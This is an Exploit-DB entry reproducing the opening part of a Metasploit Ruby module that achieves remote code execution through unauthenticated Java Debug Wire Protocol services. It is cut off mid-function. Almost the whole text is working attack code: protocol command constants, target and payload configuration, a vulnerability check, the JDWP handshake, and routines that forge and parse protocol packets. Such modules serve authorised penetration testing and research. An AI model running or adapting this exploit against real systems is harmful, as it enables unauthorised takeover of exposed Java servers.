Exploit-DB #33789
Description: Java - Debug Wire Protocol Remote Code Execution (Metasploit)
Type: remote
Platform: multiple
Date: 2014-06-17
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  HANDSHAKE                 = "JDWP-Handshake"

  REQUEST_PACKET_TYPE       = 0x00
  REPLY_PACKET_TYPE         = 0x80

  # Command signatures
  VERSION_SIG               = [1, 1]
  CLASSESBYSIGNATURE_SIG    = [1, 2]
  ALLCLASSES_SIG            = [1, 3]
  ALLTHREADS_SIG            = [1, 4]
  IDSIZES_SIG               = [1, 7]
  CREATESTRING_SIG          = [1, 11]
  SUSPENDVM_SIG             = [1, 8]
  RESUMEVM_SIG              = [1, 9]
  SIGNATURE_SIG             = [2, 1]
  FIELDS_SIG                = [2, 4]
  METHODS_SIG               = [2, 5]
  GETVALUES_SIG             = [2, 6]
  CLASSOBJECT_SIG           = [2, 11]
  SETSTATICVALUES_SIG       = [3, 2]
  INVOKESTATICMETHOD_SIG    = [3, 3]
  CREATENEWINSTANCE_SIG     = [3, 4]
  REFERENCETYPE_SIG         = [9, 1]
  INVOKEMETHOD_SIG          = [9, 6]
  STRINGVALUE_SIG           = [10, 1]
  THREADNAME_SIG            = [11, 1]
  THREADSUSPEND_SIG         = [11, 2]
  THREADRESUME_SIG          = [11, 3]
  THREADSTATUS_SIG          = [11, 4]
  EVENTSET_SIG              = [15, 1]
  EVENTCLEAR_SIG            = [15, 2]
  EVENTCLEARALL_SIG         = [15, 3]

  # Other codes
  MODKIND_COUNT             = 1
  MODKIND_THREADONLY        = 2
  MODKIND_CLASSMATCH        = 5
  MODKIND_LOCATIONONLY      = 7
  MODKIND_STEP              = 10
  EVENT_BREAKPOINT          = 2
  EVENT_STEP                = 1
  SUSPEND_EVENTTHREAD       = 1
  SUSPEND_ALL               = 2
  NOT_IMPLEMENTED           = 99
  VM_DEAD                   = 112
  INVOKE_SINGLE_THREADED    = 2
  TAG_OBJECT                = 76
  TAG_STRING                = 115
  TYPE_CLASS                = 1
  TAG_ARRAY                 = 91
  TAG_VOID                  = 86
  TAG_THREAD                = 116
  STEP_INTO                 = 0
  STEP_MIN                  = 0
  THREAD_SLEEPING_STATUS     = 2

  def initialize
    super(
      'Name'           => 'Java Debug Wire Protocol Remote Code Execution',
      'Description'    => %q{
        This module abuses exposed Java Debug Wire Protocol services in order
        to execute arbitrary Java code remotely. It just abuses the protocol
        features, since no authentication is required if the service is enabled.
      },
      'Author'         => [
        'Michael Schierl', # Vulnerability discovery / First exploit seen / Msf module help
        'Christophe Alladoum', # JDWP Analysis and Exploit
        'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
      ],
      'References'     =>
        [
          ['OSVDB', '96066'],
          ['EDB', '27179'],
          ['URL', 'http://docs.oracle.com/javase/1.5.0/docs/guide/jpda/jdwp-spec.html'],
          ['URL', 'http://seclists.org/nmap-dev/2010/q1/867'],
          ['URL', 'https://github.com/schierlm/JavaPayload/blob/master/JavaPayload/src/javapayload/builder/JDWPInjector.java'],
          ['URL', 'https://svn.nmap.org/nmap/scripts/jdwp-exec.nse'],
          ['URL', 'http://blog.ioactive.com/2014/04/hacking-java-debug-wire-protocol-or-how.html']
        ],
      'Platform'       => %w{ linux win },
      'Arch'           => ARCH_X86,
      'Payload'        =>
        {
          'Space'        => 2048,
          'BadChars'    => '',
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux x86 (Native Payload)',
            {
                'Platform' => 'linux'
            }
          ],
          [ 'Windows x86 (Native Payload)',
            {
              'Platform' => 'win'
            }
          ]
        ],
      'DefaultTarget'  => 0,
      'License'        => MSF_LICENSE,
      'DisclosureDate' => 'Mar 12 2010'
    )

    register_options(
      [
        Opt::RPORT(8000),
        OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]),
        OptString.new('TMP_PATH', [ false, 'A directory where we can write files. Ensure there is a trailing slash']),
      ], self.class)

    register_advanced_options(
      [
        OptInt.new('NUM_RETRIES', [true, 'Number of retries when waiting for event', 10]),
      ], self.class)
  end

  def check
    connect
    res = handshake
    disconnect

    if res.nil?
      return Exploit::CheckCode::Unknown
    elsif res == HANDSHAKE
      return Exploit::CheckCode::Appears
    end

    Exploit::CheckCode::Safe
  end


  def peer
    "#{rhost}:#{rport}"
  end

  def default_timeout
    datastore['RESPONSE_TIMEOUT']
  end

  # Establishes handshake with the server
  def handshake
    sock.put(HANDSHAKE)
    return sock.get(datastore['RESPONSE_TIMEOUT'])
  end

  # Forges packet for JDWP protocol
  def create_packet(cmdsig, data="")
    flags = 0x00
    cmdset, cmd = cmdsig
    pktlen = data.length + 11
    buf = [pktlen, @my_id, flags, cmdset, cmd]
    pkt = buf.pack("NNCCC")
    pkt << data
    @my_id += 2
    pkt
  end

  # Reads packet response for JDWP protocol
  def read_reply(timeout = default_timeout)
    response = sock.get(timeout)
    fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") unless response
    pktlen, id, flags, errcode = response.unpack('NNCn')
    response.slice!(0..10)
    if errcode != 0 && flags == REPLY_PACKET_TYPE
      fail_with(Failure::Unknown, "#{peer} - Server sent error with code #{errcode}")
    end
    response
  end

  # Returns the characters contained in the string defined in target VM
  def solve_string(data)
    sock.put(create_packet(STRINGVALUE_SIG, data))
    response = read_reply
    return "" unless respons